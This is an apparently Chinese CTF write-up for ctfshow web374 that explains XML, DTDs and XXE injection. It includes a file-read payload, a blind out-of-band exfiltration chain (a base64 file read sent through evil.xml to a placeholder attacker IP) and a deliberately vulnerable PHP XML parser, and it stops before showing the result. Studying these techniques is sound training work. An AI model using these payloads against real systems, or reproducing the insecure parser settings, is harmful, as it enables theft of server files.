xxe
0x00 基础
    题目来源于ctfshow web374,是翔哥问的题,复现一下。
    这道题考的是xml外部实体注入。XML 指可扩展标记语言(EXtensible Markup Language),XML 是一种标记语言,很类似 HTML,被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息, 允许创作者定义自己的标签和自己的文档结构。其优点就是可以跨越互联网任何的平台,不受编程语言和操作系统的限制,非常适合Web传输,而且xml有助于在服务器之间穿梭结构化数据,方便开发人员控制数据的存储和传输。
DTD概念
    文档类型定义(DTD)可以被声明在XML的文档中,也可以作为一个外部的引用。举例说明:
1 2 3 4 5 6 7 8 9 10 11 12 13
   | <?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE Students SYSTEM "Students.dtd">   <Students>   <Student num="z001">       <name>小明</name>     <sex>男</sex>         <age>20</age>       <subject><![CDATA[数学&英语]]></subject>       <sport>篮球</sport>    </Student>   </Students>
   | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   | <![ IGNORE [定义Student子元素必须在 Studens父元素内,且出现至少一次。]]> <!ELEMENT Students (Student+)>   <![ IGNORE [ 设置Student元素中必须有name,age,subject,sport元素并且他们的出现顺序也必须是这样的]]> <!ELEMENT Student (name,sex,age,subject,sport)>   <![ IGNORE [ 设置num属性为必需且唯一的但是属性的值不能是以数字开头]]> <!ATTLIST Student num ID #REQUIRED>   <![ IGNORE [ !ELEMENT name 定义 name 元素为 "#PCDATA" 类型]]> <!ELEMENT name      (#PCDATA)> <!ELEMENT sex      (#PCDATA)> <!ELEMENT age       (#PCDATA)> <!ELEMENT subject   (#PCDATA)> <!ELEMENT sport     (#PCDATA)>
   | 
 
    内部实体引用举例:
1 2 3 4 5 6 7 8 9 10 11 12
   | <!DOCTYPE catalog [   <!ENTITY company_name "ABC Corporation">   <!ENTITY phone_number "(555) 123-4567"> ]> <catalog>   <product>     <name>Product A</name>     <description>       &company_name; &phone_number;.     </description>   </product> </catalog>
   | 
 
XXE漏洞
    如果开发人员在开发时允许引用外部实体DTD时,恶意用户便会利用这一漏洞构造恶意语句。从而引发文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等。如下图所示:

    XXE也分为有回显和无回显。
    有回显示例如下:
1 2 3 4
   | <?php     $xml=simplexml_load_string($_GET['xml']);     print_r((string)$xml); ?>
   | 
 
1 2 3
   | <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]> <root>&file;</root>
   | 
 
    无回显举例如下:
1 2 3 4 5 6 7
   | <?xml version="1.0"?> <!DOCTYPE test[     <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">     <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.xml">     %dtd;     %send; ]>
   | 
 
    evil.xml:
1
   | <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>"> %payload;
   | 
    具体过程就是:先 %dtd 请求远程服务器(攻击机)上的 evil.xml,然后 %payload 调用了 %file ,%file 获取对方服务器上的敏感文件,最后调用%send,数据被发送到我们远程的服务器,就实现了数据的外带。
0x01 web374复现
    访问后php代码如下:
1 2 3 4 5 6 7 8 9
   | <?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){     $dom = new DOMDocument();     $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__); 
   | 
 
    按照博客:https://blog.csdn.net/weixin_49656607/article/details/119926513
    最后得到:
